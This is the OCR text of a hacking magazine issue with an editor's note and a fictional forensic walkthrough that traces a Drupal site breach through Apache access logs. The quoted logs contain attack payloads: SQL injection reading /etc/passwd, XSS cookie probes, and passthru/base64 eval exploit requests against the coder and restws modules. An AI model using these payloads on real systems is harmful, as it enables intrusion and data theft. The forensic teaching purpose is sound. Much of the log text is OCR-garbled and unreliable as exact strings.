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Editor's Note

Hello Readers, First of all, | wanna thank you
for buying this Magazine. This is the second iss-
-ue of zeroeth edition of my magazine.

Now Let me introduce myself. My name is
Kalyan Chakravarthi Chinta and | am passionate
about hacking or cyber security (or whatever you
want to call it). Let me make it very clear that | d-
-on't consider myself an expert in this field.
Notwithstanding this, | have my own blog
on hacking, www.hackercool.com. This blog has a dedicated Facebook page and
Youtube channel with name "Kanishkashowto”. | also developed a vulnerable
webapp for practice "Vulnerawa" to practice website hacking.

This magazine is intended to deal with advanced hacking both black hat and
white hat. | am hopeful this magazine will be helpful not only to the beginners who
come into field of cyber security but also experts in this field.

This Edition 0 Issue 2, will be available on Kindle, 24symbols, iBooks, nook,
kobo, Pagefoundry, Scribd and ofcourse Gumroad. It is also available on the digit-
-al magazine site Magzter. If you have any queries regarding this magazine or
want a specific topic please send them to qa@hackercool.com and please don't
forget to like our Facebook page "Hackercool”.

In this issue, we have strived to infroduce more of some real time hacking. As
a result, we have added two new sections : Not Just Another Tool and Capture
The Flag. In Not Just Another tool, we will discuss about some important tools
used in pen testing. Capture the Flag challenges are a good resource to learn
practical hacking. So howcome we will miss that. Until the next issue, Thank you.



.

REAL TIME HACKING SCENARIO
WEB SERVER FORENSICS
TRACING THE HACK

RECAP
Database of the website www.dmysteries.com
was dumped and put to sale on darkweb. As
the passwords were encrypted, the breach was
not a big threat. But the owner of Dmysteries
contacted LUKERECKAH to conduct an invest-
-igation into the breach.

LUKERECKAH
Lukereckah is a cyber security startup set up by
a man known as Agent A. In fact it would be rig-
-ht to call it a pre-startup as it is still in nascent
stage with only one employee, it's owner.

The website owner of site dmysteries.com
is one of the friends of founder of Lukereckah.
So he made a call to Agent A, to investigate the
data dump leak of his website.

It was a win-win situation for both. It would gi-
-ve experience to Lukereckah and the service
was free for dmysteries.com.

*kkkkkkkkk

Hi | am Agent A. Right now on :

an forensic investigation into data breach of w--
-ebsite dmysteries.com. The website is based

on an Apache server and is using MYSQL data-

-base.

shown below.

Since the database is dumped, my first suspici-
-on was that the attacker has used SQL injecti--
on.So | used the search option of the text editor
to search for word "union" which forms one of
the important queries during sql injection.

| found some requests containing "union”
as shown below.

Apache has a default logging function of }/s-

GET requests to the website. This log is prese-
-nt in directory /var/log/apache2/ and is named
access.log. The first thing | do is make a copy
of this log into another file accesscopy.log.

mware-tools-distrit

oot = |

It's time to view this file. You can view this file in
any text editor but | tend to choose my favorite
editor gedit. So | open this accesscopy.log file
with gedit text editor. The format of the log reco-
-rd starts with remote IP address that tried to a-
-ccess the web server, the date and time it acc-
-essed it and the GET request. The format is as

But it was not the query that was interesting. |
found that the query came from an automated
tool Nikto 2.1.6.

To those who don't know what is Nikto,
it is an Open Source web server vulnerability s-
-canner which performs comprehensive tests
against web servers. Using this scanner has
only one disadvantage for attackers, it makes
lot of noise as seen in the log above.
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Now let's search for Nikto using the search opt- Another clue.Whatweb tool was used. Whatweb

-ion. We can see below that we got some 1566 tool is used to fingerprint the CMS being used

queries containing the word "nikto". by the web server. So the hacker attempted to
—= — ——— find out the CMS of site dmysteries.com.

il i5a- 0 - - Lanssenrasien0:54 os0) 1@ e @i ||| On further scrolling down, | found a req-
;zz:gﬂ;;;g?ty.pr\o HTTP/1.1" 484 4586 "Mozilla/5 .| . .

92.168.199.130 - - [30/Sep/2016:17:30:54 +0538) "GET /modules/My_eGalLary/puslic/ -uest dlreCted at mOdUIeS dlreCtory Of the Web

1;::"1;03;;3?9_;»“ HTTP/1.1" 464 444 "- Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) . i .

N B s P e server. Modules are like plugins which extend t-
;;f;ég??ggﬂ;n - - [38/50p/2016:17:38:54 +0530) “GET /forum/My_oGallery/public/ —he funCtlonallty Of Drupal core. TI“ now I can a-

:;:z:xg;;;g?:y.pm HTTP/1.1" 464 442 "- Mozilla/5.00 (Nikte/2.1.6) (Evasions:None)

92.168.199.1306 - - []B’SQDIZGIGSN: 0:54 +0530] “GET /scripts/classifieds/index.cgi -Ssume that the attacker WaS SuCCeSSfUI at det--

HTTP/1.1" 464 427 “-* "Mozilla/5.00 (JHEE/2.1.6) (Evasions:None) (Test:06668S)"
92.168.199.130 - - [38/Sep/2616:17:30:54 +8538) “GET /mailbox .php3? . . .
nc!1cnlD=6659rwr=x6:ma;u:5/r- somesul*—';nassﬂ HTYP’/:T?" :éa 4‘?:4D"‘—,' "Mozilla/5.00 Ctlng the CMS aS DI"Upa' Hence he |S SearChln-
Nikto/2.1.6) (Evasions:None) (Test:888686)"

92.168.199.130 - - [30/Sep/2016:17:30:54 +0530] “GET /userinfo.php?uid=l; HTTP/1.1" 464
B10 -~ “Moz1l1a/5.00 (NIKE0/2.1.6) (Evasions:Nona) (Test :000687)" -g for any vulnerable modules and he seems to
92.168.199.130 - - [38/Sep/2616:17:30:54 +8538) “GET /site/' UNION ALL SELECT FileToClob(‘/

asswd’, ‘server’)::html,0 FROM sysusers WHERE usarname=USER --/.html HTTP/1.1" 404 464

Lo GO 2.1 1 (Euasions ona (Tot 8005981 have found module named coder interesting.

- [30/Sep/2016:17:30:54 +0530) "GET /site/' UNION ALL SELECT FileToClob('/

ptc/passwd’, ‘server’) ::html,0 FROM sysusers WHERE username = USER --/.html HTTP/1.1" 464 ——r—
hod =-= "Mozilla/5.080 (Nikte/2.1.6) (Evasions:None) (Test:008689)" Open » m opy- Save = x
92.168.199.130 - [308/Sep/2016:17:30:54 +0530) "GET /postnuke/index.php? kirefox/a5.0"
- = == 1/%% AND/** /1 =2/** e /ALL/*® 1 .
g Pl el e e e e ::1 - - [30/Sep/2616:18:05:26 +6530] “OPTIONS * HTTP/1.8" 260 110 *-* “Apache/2.4.10
6x3C7236783E ,pn_uname,0x3a,pn_pass, 0x3C7230783€) ,6,0,0/** /FROM/** /nd_usars/**/WHERE/**/ (Debian) (intamsl dummy connection)® .
n uide$id/* HTTP/1.1° 404 416 --* -Mozil1a/5.00 (NiKt0/2.1.6) (Evasions:None) 192.168.199.130 - - (30/Sep/2616:18:10:02 +0530) “GET /sites/all/modules/codery/
Taet -ARRRGA) * oder_upgrade/scripts/coder_upgrade.run.php HTTP/1.1" 404 410 "-" "Mozilla/4.0 (compatible;
HSIE 6.0; Windows NT 5.1)"
Plain Text »  Tab Width: 8 ~ Ln 2648, Col 123  ~ INS il - - [38/Sep/2616:18:10:36 +6530] "POST /7q=admin/modules/List/confirm§render=overlay

HHPM 1" 302 365 "http://localhost/7q=admin%2Fmodul esérender=overlay” “Mozilla/5.8 (X11;
L inux 1686; rv:45.8) Gecko/28168181 Firefox/45.0"
H H ::1 - - [30/Sep/2016:18:10:46 +65308] “GET /?q=admin/modules&render=overlay HTTP/1.1" 268
On careful Observatlon, these requeStS OF NIKLO  Pss netn:/nocatnost/ Jamacaimaracauteskrandereovariay " Horiiiars. (Xi1: Lims 1606;
rv:45.0) Gecko/20100101 Firefox/45.0"
::1 - - [30/Sep/2016:18:10:50 +0530) "GET /misc/d 1.js?cebhvo HTTP/1.1" 200 6063 “http://
Came from Only One IP addr 192. 1 68. 1 99. 1 30. cca‘lhus(f7;=:mefwdulas6ranaurwvorlay" TH:‘::‘L"L’:?;OJ?ITT; :inul 1686; rv:45.6) .
fGacko/20100101 Firefox/45.8"
1 ::1 - - [30/Sep/2016:18:10:56 +8538] “GET /modules/ tem/! tem.b. . ?oebhvo HTTP/1.1"
So next, I Searched the |og for thIS |P address 200 2264 "hu:?//loulnast/7qz;dmm/monulas::e:d:?z;::r.lz:v?v‘sngal::75(,;51:?l:vfmux 1686;
rv:45.0) Gecko/20100101 Firefox/45.6"
::1 - - [30/Sep/2016:18:10:560 +06530] “GET /modules/system/system.messages.css?oebhvo
as Shown beIOW' HTTP/1.1" 200 762 “"http://localhost/ ’q:adminlm:dules;render!cvnrlay“ "Mozilla/5.0 ‘(‘111;
Linux 1686; rv:45.8) Gecko/201601081 Firefox/45.6"

::1 - - [30/Sep/2016:18:10:56 +8530] "GET /modules/comment/comment.css?oebhvo HTTP/1.1" 266
Open ~ m accesscopy.log Save = x 468 “http://localhost/?q=admin/modulesérender=overlay” "Mozilla/5.6 (X11; Linux i686;
rv:45.8) Gecko/20166161 Firefox/45.0"
‘("T'E‘;:‘f;;ag;é)f"”"" B RIS ! ::1 - - [30/Sep/2016:18:10:50 +0530] "GET /modules/system/system.admin.css?oebhvo HTTP/1.1°

Q 2168 19913010 457 of 172 A 266 1781 “http://localhost/?q=admin/modul es&render=overlay” “Mozil1a/5.6 (X11; Linux 1686;

192.168.199.130 - - [30/Sep/2016:17:30:54 +8530] rv:45.8) Gecko/20180181 Firefox/45.8"

"Moz111a/5.80 (Nikto/2.1.6) (Evasions:None) (Test:0 L;
192.168.199.130 - - [30/Sep/2016:17:30:54 +85308] "GET /horde,

g ::l - - [30/Sep/2016:18:10:50 +@530] "GET /modules/system/system.theme.css?oebhvo HTTP/1.1"
g g 412 =- bae 1546 "http://localhost/?q=admin/modul eskrender=overlay” "Mozilla/5.8 (X11; Linux 1686;
"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test:080697)" Irv:45.0) Gecko/20106101 Firefox/45.8"
192.168.199.138 - - [30/Sep/2016:17:30:54 +08530]) "GET /imp/horde/test.php HTTP/1.1" 4084 416 ::1 - - [38/Sep/2016:18:18:58 +6538] “GET /modules/node/node.css?oebhvo HTTP/1.1° 266 427
"-" "Mozilla/5.08 (Nikto/2.1.6) (Evasions:None) (Test:800698)" S - - - vt m e o o
99.130 - - [30/Sep/2016:17:30:54 +8530] "GET /scripts/horde/test.php HTTP/1.1" 484
Mozilla/5.08 (Nikto/2.1.6) (Evasions:None) (Test:008639)" el o il At SO O e
192.168.199.130 - - [30/Sep/2016:17:30:54 +0530] “GET /examples/cookie HTTP/1.1" 464 413

-" "Mozilla/5.808 (Nikto/2.1.6) (Evasions:None) (Test:000700)"
L

92.168.199.130 - - [30/Sep/2016:17:30:54 +0530] "GET /examples/session HTTP/1.1" 4064 414 Then On Same day, | found another |Og Wlth Ba'
11a/5.80 (Nikto/2.1.6) (Evasions:None) (Test:008701) . .

- - [30/Sep/2016:17:30:54 +0530] "GET /themes/mambosimple.php? - -
ds:a(uan jatec tedésitename=</title><sc ript>alert(document .cookie) </script> HTTP/1.1" 404 Se64 enCOd'”g trylng to access the COder mOd
420 *-" “"Mozilla/5.00 (Nikto/2.1.6) (Evasions:None) (Test: 003702) I W ” f | . th I _t
192.168.199.130 - - [30/Sep/2016:17:30:54 +6530] "GET /index.php -
up:xun:sear:h&searchuord:<s:vlptsalwr‘(documen(.cockw).’</scle!> HTTP/1.1* 260 9913 *-* u e e or nOW’ am aSSumIng e eXp OI
"Mozilla/5.60 (Nikto/2.1.6) (Evasions:None) (Test:008763)"
192.168.199.130 - - [30/Sep/2016:17:30:54 +0530] "GET /emailfr

d/emailnews .php?id=\\

\"«<script>alert(document .cookie)</script> HTTP/1.1" 464 423 “-" "Mozilla/5.60 (Nikto/2.1.6) Open v | R sccesscopy deg Save = x

(Evasions:None) (Test:000784)"

192.168.199.130 - - [30/Sep/2016:17:30:54 +0538] "GET /emailfriend/emailfaq.php?id=\\ B8 981 “http://localhost/7q=admin/modulesbrender=overlay™ "Mozilla/5.0 (XI1; Linux 168&;

\ "<sc ript>alert (document .cookie)</script> HTTP/1.1" 464 422 "-" "Mozilla/5.80 (Nikto/2.1.6) fv:45.8) Gecko/20100101 Firefox/45.8"

(Evasions:None) (Test:800705)" :1 - - [36/Sep/2016:18:12:21 +08530) "GET /themes/seven/style.css?oebhye HTTP/1.1" 200 4942

192.168.199.130 - - [30/Sep/2016:17:30:54 +0530] “GET /emailfriend/emailarticle.php?id=\\ "http://localhost/?q=admin/modules&render=overlay” "Mozilla/5.0 (X11; Linux i686; rv:45.0)

\ "<sc ript>alert (document .cookie)</script> HTTP/1.1" 404 426 "-" "Mozilla/5.80 (Nikto/2.1.6) ecko/20160181 Firefox/45.8"

(Evasions:Nona) (Test:000706)" ki1 - - [30/Sep/2016:18:12:22 +0530] “"GET /modules/coder/images/module.png HTTP/1.1" 260

192.168.199.130 - - [30/Sep/2016:17:30:54 +0530] “GET /administrator/upload.php? 201 “"http://localhost/modules/coder/coder_review/coder_review.css?oebhye” "Mozilla/5.@8

hewbanner=16choice=\\\"<script>alert (document .cookie)</script> HTTP/1.1" 4064 422 *-* X11; Linux i686; rv:45.0) Gecko/20100161 Firefox/45.6"

NMasi) o /E G0 (Mil2af) 1 €} _(Cusalassciblanal Tace.A00707) ki1 - - [30/Sep/2016:18:12:28 +8530) "OPTIONS * HTTP/1.6" 206 110 "-" "Apache/2.4.10
Debian) (internal dummy connection)”

Plain Text Tab Width: 8 = Ln 2665, Col 1 * NS

92.168.199.130 - - [30/5ep/2016:18:12:36 +8530) “GET /sites/all/modules/coder/
oder_upgrade/scripts/coder_upgrade.run.php HTTP/1.1" 484 418 “-" "Mozilla/4.8 (compatible;

Wif Ql /. - /sites/all/modules/coder
We can see that there are over 1457 requests [ oo s conr wogra i s titomgaras e

xt/
lain;base64, VTo?Onl'O]uGIthuGh'IJmOJNG:SNGNTIﬁlmleHVlevamF 2517czo404iTul 18ul 1Bul 117czo!

from this address. As | manually scroll through [ e et f e Wi s

- [38/Sep/2016:18:14:59 +6538] “"GET /drupal/sites/all/modules/coder/

. . oder_upgrade/scripts/coder_upgrade.run.php HTTP/1.1" 484 417 "-" "Mozilla/4.@ (compatible;
HEr ittt L
the SearCh reSUItS! | found anOther IntereStlng 92.168.199.138 - - [30/Sep/2016:18:19:58 +06538) "GET /drupal/sites/all/modules/coder/
oder_upgrade/sc ripts/coder_upgrade.run.php HTTP/1.1" 484 417 “-" "Mozilla/4.0 (compatible;
query MSIE 6.8; Windows NT 5.1)"
k:1 - - [30/Sep/2016:18:20:28 +0530] "GET /?q=node HTTP/1.1" 260 4909 "-" "Mozilla/5.0
X11; Linux 1686; rv:45.0) Gecko/20100181 Firefox/45.8"
m accesscopy.log - = ~ :1 - - [30/Sep/2016:18:20:48 +0530) "GET /misc/jquery.ba-bbq.js?v=1.2.1 HTTP/1.1" 260 2411

‘http://localhost/?7q=node” "Mozilla/5.0 (X11: Linux i686; rv:45.8) Gecko/20188161

- rem— - -y e g irefox/45.8"

. . . . o Al -
T, 14ke Cacka) Chromerss 8 2785 116 Safari/ss? 26 : ] ApplLebKit /5278 11 - - (38/5ep/2016:18:26:48 +6538) "GET /misc/jquery.once.js?v=1.2 HTTP/1.1" 260 1461
192.168.199.130 - - (30/Sep/2016:17:33:27 +6536] "GET / HTTP/1.1" 260 3443 *-" g iaal TROzILLS-S WALy LB 180897, w25 Rl Becko/ a1 I]

.4_8-dev" Lra'ox/ﬁs

BN T [30/Sep/2016:17:33:27 +8530) “GET / HTTP/1.1" 200 3430 o R AR
192.168.199.138 - - [30/Sep/2016:17:36:38 +0530] "GET / HTTP/1.1" 208 3445 Plain Text v TabWidth:8 »  Ln10002,Col198 ~  INS
: .4.8-dey"

. N . - [368/Sep/2016:17:36:38 +6538) "GET / HTTP/1. 200 3429 "
192.168.199.1 - - [30/Sep/2016:17:38:83 +0530] “-* 468 8 "-* .
192.168.199.1 - - [30/Sep/2016:17:38:063 +0530] “-" 468 O "-* naS been run. Then | found anotner |Og entry as
192.168.199.1 - - [30/Sep/2016:17:38:03 +6530] “-" 408 0 "-°
::1 - [36/Sep/2016:17:41:17 +08538] "GET /drupal/modules/overlay/images/background.png
HTTP/1.1" 484 443 "http://localhost/drupal /modul es/overlay/overlay-parent .css?0e70qq" ShOWn below

‘no:ll\a/ﬁ 0 (X11; Linux 1686; rv:45.8) Gecko/20100101 Firefox/45.8"

11 - - [30/Sep/2016:17:41:19 +6530) “GET /drupal/?q=adminfA2Fmodul esérender=ovarlay
HTTF’/l 1" 4084 465 “"http://localhost/drupal/?q=node/4" "Mozilla/5.0 (X11; Linux 1686;
rv:45.8) Gecko/20100181 Firefox/45.8"
::1 - - [38/Sep/2016:17:41:21 +6530

php 7q=taxonomy_vocabulary//
passthru/punlf\)()\??\\l17\\152\\103\\164\\17}\\155\\112\\162\27 HTTP/1.1" 208 365 "-*
"Mozilla/4.8 (compatible; MSIE 6.0; Windows NT 5.1)"

GET /drupal/?q=admind2Fmoduless HTTP/1.1" 464 405

- ¥ A T - - [J0/56p/2016:T8:25.51 +0530] "GET 7 7q=80mINGZF peop (o%2FpermissIonskrandar=ovariay
h /Nocalhost /drupal /7q=node/4" "Moz .8 (X11; Linux 1686; rv:45.0 ko/2010

Flﬁ:ag:/ﬂg:; st /drupal / 7q=node. illa/s (X11; Linux 168 v ) Gecko/20106161 KYTP/l 1~ 260 16721 "http://localhost/?q=node” "Mozilla/5.8 (X11: Linux 1686: rv:45.8)

::1 - - [38/Sep/2616:17:41:29 +8538] “GET /drupal/?q=admin®2FconfigGrender=overlay [Gecko/20160161 Firefox/45.8"

HTTP/1.1"* 484 466 “http://localhost/drupal/?q=node/4" “"Mozilla/5.8 (X11; Linux 1686; ::1 - - [30/Sep/2016:18:25:54 +8530) "GET /modules/user/user.permissions.js?oebifi

rv:45.8) Gecko/20100101 Firefox/45.0" HTTP/1.1" 260 1473 "http://localhost/?q=admin%2Fpeople%2Fpermissions&render=ovarlay”

::1 - - [30/Sep/2016:17:41:30 +0530] “GET /drupal/?q=admin®%2Fconfigh HTTP/1.1" 484 485 11a8/5.0 (X11; Linux 1686; rv:45.0) Gecko/20180181 Firefox/45.0"

“http://localhost/drupal /?7q=node/4" “Mozilla/5.0 (X11; Linux i686; rv:45.8) Gecko/201681681 ::1 - - [30/Sep/2016:18:26:29 +8530) "GET /?q=node HTTP/1.1" 260 4911 "-" “Mozilla/5.0
Firefox/45.8" (X11; Linux 1686; rv:45.0) Gecko/20166101 Firefox/45.8"

::1 - - [30/5ep/2016:17:41:39 +8530] “GET /drupal/?q=user/logout HTTP/1.1" 464 466 “http:// il - [30/Sep/2016:18:26:31 +0530]) "GET /misc/jquery.once.js?v=1.2 HTTP/1.1" 2008 1461
localhost/drupal / 7q=node/4" "Mozilla/5.8 (X11; Linux i686; rv:45.8) Gecko/26188181 ttp://localhost/?q=node” "Mozilla/5.8 (X11; Linux i686; rv:45.8) Gecko/2081060161
Firefox/45.0" Ml Sa

::1 - - [30/Sep/2016:17:41:57 +05308] "GET / HTTP/1.1" 200 3474 "-* "Mozilla/5.8 (X11; Linux

P Aot e L L PanTextv TebWidie8v  Ln10066,Cell2) v WS

Plain Text »  Tab Width: 8 + Ln 9787, Col 65 - INS




The presence of passthru function has solidifie-
-d my suspicion that an exploit has been run.
The passthru function in php is generally used
to execute external programs.

| did a quick Google search and found the w-
-ebsite was having a vulnerable version of cod-
-er module. Then | searched for an exploit for t-
-his vulnerability. | found even a Metasploit exp-
-loit for this vulnerability. | am just assuming th-
-at the hacker might have used a Metasploit m-
-odule for this.

Then on further analysis, | found some log

entries on october 3rd which looked like below.

Open v R Scoreacopy deg Save | = x
"Mozilla/5.6 (X11;
92.168.199.130 - -
"Mozilla/5.6 (X11;
92.168.199.130 -
"Mozilla/5.8 (X11;
92.168.199.130 - -
"http://www .dmysteries.com/modules/"
Firefox/43.0 Iceweasel/43.0.4"
92.168.199.130 - - [03/0ct/2016:15:50:18 +6530]
"http://wew.dmysteries.com/modules/" "Mozilla/5.8
Firefox/43.0 Iceweasel/43.0.4"

92.168.199.130 - - [03/0ct/2016:15:50:18 +06530]
http://www.dmysteries.com/modules/" "Mozilla/5.8
Firefox/43.0 Iceweasel/43.0.4"

92.168.199.136 - - [03/0ct/2016:15:58:18 +0530]
"http://wew .dmysteries.com/modules/"” “Mozilla/5.6
Firefox/43.0 Iceweasel/43.0.4"

92.168.199.136 - - [63/0ct/2016:15:50:56 +6530]
"http://wew .dmysteries.com/modules/" “Mozilla/5.8
Firefox/43.0 Iceweasel/43.0.4"

Linux 1686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.
[083/0ct/2016:15:50:18 +85308] "GET /modules HTTP/1.1" 361 497
Linux i686; rv:43.8) Gecko/201001081 Firefox/43.0 Iceweasel/43.6.4"
[03/0ct/2016:15:50:18 +0536] “"GET /modules/ HTTP/1.1" 200 1126

Linux 1686; rv:43.0) Gecko/20160101 Firefox/43.0 Icewsasel/43.0.4"
[03/0ct/2016:15:50:18 +6536] "GET /icons/text.gif HTTP/1.1" 266 497
“Mozil1a/5.0 (X11; Linux 1686; rv:43.8) Gecko/20160101

“GET /icons/blank.gif HTTP/1.1" 268 415
(X11; Linux 1686; rv:43.8) Gecko/20180101

"GET /icons/folder.gif HTTP/1.1"
(X11; Linux i686;

200 493
rv:43.0) Gecko/20180101

GET
(X11;

/icons/back.gif HTTP/1.1" 260 484
Linux 1686; rv:43.8) Gecko/20160101

“GET /modules/entity/ HTTP/1.1" 2608 938
(X11; Linux 1686; rv:43.0) Gecko/20160101

92.168.199.130 - - [03/0ct/2016:15:50:5]1 +8538] "GET /icons/unknown.gif HTTP/1.1" 200 512
"http://wew .dmysteries.com/modules/entity/" "Mozilla/5.8 (X11; Linux i686; rv:43.8)
backo/20100181 Firefox/43.8 Iceweasel/43.0.4"

92.168.199.130 - - [03/0ct/2016:15:50:57 +0530] "GET /modules/restws/ HTTP/1.1" 260 851

"http://www.dmysteries.com/modules/" “"Mozilla/5.0 (X11; Linux 1686;
Firefox/43.0 Iceweasel/43.0.4"

92.168.199.130 - - [63/0ct/2016:15:51:10 +6530]
P8 669 “http://www.dmysteries.com/modules/restws/"
becko/20106161 Firefox/43.0 Iceweasel/43.0.4"
92.168.199.130 - - [03/0ct/2016:15:51:34 +0530)

08 3139 “"http://www.dmysteries.com/modules/restws/"

rv:43.0) Gecko/20160101

"GET /modules/restws/restws.info HTTRP/1.1"
"Mozilla/5.8 (X11; Linux 1686; rv:43.8)

“GET /modules/restws/README.txt HTTP/1.1*
"Mozilla/5.0 (X11; Linux i686;
Tab Width: 8 v
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The hacker was once again accesssing the mo-
-dules of the website and then | found this log.

Open ~ R e Swve || B || x
192.168.199.130 :15:52:52 +8530] "GET /modules/restws/restws_basic_auth,
HTTP/1.1" 200 737 * : teries.com/modules/restws/" "Mozilla/S. 1; Linux
1686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4
192.168.199.138 [03/0ct/2016:15:52:55 +8530) "GET /modules/restws/restws_basic_suth/
README . txt HTTP/1.1% 208 985 “http://www.dmysteries.com/modules/restws/restws_basic_auth
Mozilla/5.0 (X11; Linux 16 rv:43.8) Gecko/2010018]1 Firefox/43.0 Icewsasel/43.6.4

GET /modules/restws/restw:

Mozilla/5.6 (X11; Linux

192.168.199.136 - - [03/0c
260 609 "http://wew.dmysteri
Gacko/20186101 Firefox/43.8
192.168.199.130 [03

016:15:53:14 +0530)
@s.com/modules/restws.
Icoweasel /43.06.4"

2016:16:08:18 +0530)

GET

/index .php?q=taxonomy

vocabulary

passthru/print fR20827\\126\\162\\126\\102\\125 IN186\\123\\ 11 7\\124\\178%27 HTTP/1.1°
260 369 “Mozilla/4.8 (compatible; MSIE 6.6 ows NT 5.1)
192.168.199.136 [Di Oct/2016:17:44:56 aE‘)(B\ T /index .php?q=taxonomy vocabulary//

passthru/print fA20827 143\\163\\170\\1S5\\ 1 14\\ 144\\153%27 HTTP/1.1* 200 305
"Mozi11a/4.08 (compatible; MSIE 6.8; Windows NT 5.1)"
192.168.199,130 - - [03/0ct/2016:16:08:51 +0538) “GET
passthru/pho%20 - ri20%276val $28base64_decodes28%

221 yoBP3Boc CAVK10vIGVycmByX3J1< Gy dGuZ! q.m:.-;;m.[ugw AUMC 4wl | AnOyAKCGSydCASTDQBNDQ7IGImICH
R2A29A29030N27 HTTP/1.1" 200 297 "-* "M (compatible; MSIE 6.0; Windows NT 5.1)"
192.168.199.130 - - [63/0ct/2016:17:46:12 ssm “GET /index .php?q=taxonomy_vocabulary/
bassthru/php%20- ri20%27eval %28baseb4_decodes28% =

221 yoBP3Boc CAVK 10V IGVyCmSyX3T1< G9ydGTuZygw TSgIGLwIDOGIZAUMCAwL | AnOyAKCGIydCASIDQBNDQ7 1L mICH
R2A2M29A3N27 HTTP/L.1° 208 297 Mozilla/4.8 (compatible; MSIE 6.0: Windows NT 5.1)
192.168.199.130 - - [05/0ct/2616:16: /index .php?q=taxonomy_vocabulary
passthru/print fA20827\\146\\151\\114 167\\160\\146\\117%27 HTTP/1.1

2ea 309 "Mozi11a/4.8 [compatible; 5.1)

192.168.199.130 ct/2016:18
passthru/pho%28- r2 1%28ba566
221 yoBP3Boc CAVK10vIGVycSyX3ILc GOy
2A20%2943b827 HTTP/1.1% 206 297
192.168.199.138 - - [05/0ct/2016:18:05:17

index .php?q=taxonomy_vocabulary

12:33 +08538) "GET
166

166\\124
Windows NT
GET /index .php?q=taxonomy_vocabulary

lu

LuZyQgwK TsgJGlwlDOgIZAUMCAwl § AnOyAkc GOydCASTIDQONDQ7 IGImIC
Mozilla/4.8 (compatible; MSIE 6.0; Windows NT 5.1)
+8536]1 “"GET /index.oho?a=taxonomv vocabulary/
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First the log showed the hacker accessed the
module restws and then once again a lot of en-
-crypted text. | made a quick Google search an-
-d found a drupal restws vulnerability and the
website was running the exact vulnerable versi-
-on. The passthru function was used here also.
This vulnerability also had an exploit available
in Metasploit. So my guess was the hacker was

using it.

Open » || M ey | Save || E || x

192.168.199.130 - - [63/ Ocl ?UIS 15 52: 5; *65301 uE!
HTTP/1.1" 200 737 "http://www.dmysteries.com/modules/restws
1686; rv:43.0) Gecko/20100101 Firefox/43.0 Iceweasel/43.0.4"
192.168.199,138 - - [03/0ct/2016:15:52:55 +6530]) "GET /modules/restws/restws_basic_auth/
README .txt HTTP/1.1" 200 985 "http://www.dmysteries.com/modules/restws/restws _basic_auth
"Mozilla/5.0 (X11; Linux 1686; rv:43.0) Gecko/20180181 Firefox/43.8 Iceweasel/43.0.4"
192.168.199.130 - - [83/0ct/2016:15:53:14 +8538] "GET /modules/restws/restws.info HTTP/1.1"
200 689 “http://www.dmysteries.com/modules/restws/" "Mozilla/5.8 (X11; Linux 1686; rv:43.8)
Gecko/20100101 Firefox/43.0 Iceweasel/43.6.4"
192.168.199.130 - - [03/0ct/2016:16:08:18 +6530]
passthru/print fA20%27\\126\\102\\120\\102\\125

/modules/restws/restws_basic_auth,
Mozilla/5.6 (X11; Linux

GET
123\\

index .php?q=taxonomy_vocabulary
106\\123\\117\\124\\170%27 HTTP/1.1"

200 365 "-" “"Mozilla/4.0 (compatibl MSIE 6.0; Windows NT 5.1)"

192.168.199.130 - - (83/0ct/2816: - +0530] “GET /index .php?g=taxonomy_vocabulary
passthru/print fA20%27\\130 A1S5\\114\\144\\153%27 HTTP/1.1" 206 385 *-*
*Mozilla/4.0 (compatible; indows NT 5.1)

192.168.199.130 - [03/0ct/2016: 51 +0530] "GET /index.php?q=taxonomy_vocabulary/
passthru/php%20 - r¥26%27eval ¥28base64_decode28%

221 yoBP3Boc CAvK Lov] GVycmIyX3J1 c Gy dGl
22A29%29%30%27 HTTR/1.1% 200 297 *-*
192.168.199.130 - - [83/0ct/2616:17:46:12 +8530)
passthru/php'20 - rA26427eval ¥28basetd_decodeh2a%
221 yoBP3Boc CAVK10v I GVycmIyX3J1 ¢ GIydGLuZygwK TsgIGlwlDBgIzAUMC 4wl  AnOyAkc GIydCA9 IDQBNDQ7 G mICH

gwk T59JG1w1D0g zAUMC 4wl j AnOy Akc GOy dCAS10QBNDQ7 161 mI CF
111a/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
“GET /indax.php?g=taxonomy_vocabulary

[22%29%29%30%27 HTTP/1.1" 268 297 "-" "Mozilla/4.8 (compatible; MSIE 6.89; Windows NT 5.1)"
192.168.199.138 - - [05/0ct/2016:16:12:33 +8530]) “GET /index.php?q=taxonomy_ vocabulary
passthru/print fA20%27\\146\\151\\114\\166\\152\\166\\ 124\ \167\\166\\146\\113%27 HTTP/1.1

200 369 “-* “"Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1)°

192.168.199.138 - - (85/0ct/2016:18:02:28 +6530) "GET /index.php?q=taxonomy_vocabulary
passthru/php%20 - re20%276val ¥28baseb4_dec ode%28%

221 yoBP3Boc CAvK1ovIGVycmIyX3J1cGIydGLuZygwk TsgIGlwID8g) zAUMCAwL § AnOyAkc GIydCAS IDQBNDQ7 1GLmICH
22%29%29%30%27 HTTP/1.1" 268 297 "-" "Mozilla/4.0 (compatible; MSIE 6.8; Windows NT 5.1)"
192.168.199.130 - [85/0ct/2616:18:05:17 +65301 “"GET /index.oho?o=taxonomv vocabulary
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Tab Width: 8 » Ln 18932, Col85 INS

Here's the log highlighted for you.

m accesscopy.log Save || E | x

Open
92.168.199.130 - - [03/0ct/2016:17:46:12 +8530) "GET U\dax phu q=(anannmy \.D(abular)
assthru/php%20 - rv20%27eval %28basetd_decode%28%
2L yoBP3Boc CAvKiovIGVycmIyX3)1 cGIydGluZygwk TsgIGLwlDBgIzAUMC Wl | AnOyAkc GIydCAS1DQBNDQ7 IGLmICH

2%29%29%30%27 HTTP/1.1" 268 297 "-* "Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1)"
92.168.199.130 [85/0ct/2016:16:12:33 +8538) "GET /index.php?q=taxonomy_vocabulary//
assthru/print f20%27\\146\\151\\114\\166\\152\\166\\124\\167\\166\\146\\113%27 HTTP/1.1"

SIE 6.0; Windows NT 5.1)"

28 +8530] "GET /index.php?q=taxonomy_vocabulary//
0de%28%

WK 159 )GLwIDOg) ZAUMCAwL | AnDyAk c GIydCA91DQONDQ7 IGLmICH
2%29%29%3b%27 HTTP/1.1 Mozilla/4 compatible; ; Windows
92.168,199.130 - - [05/0ct/2016:18:05:17 +8530] "GET /index.php? q-tamnnmy vocabulary//
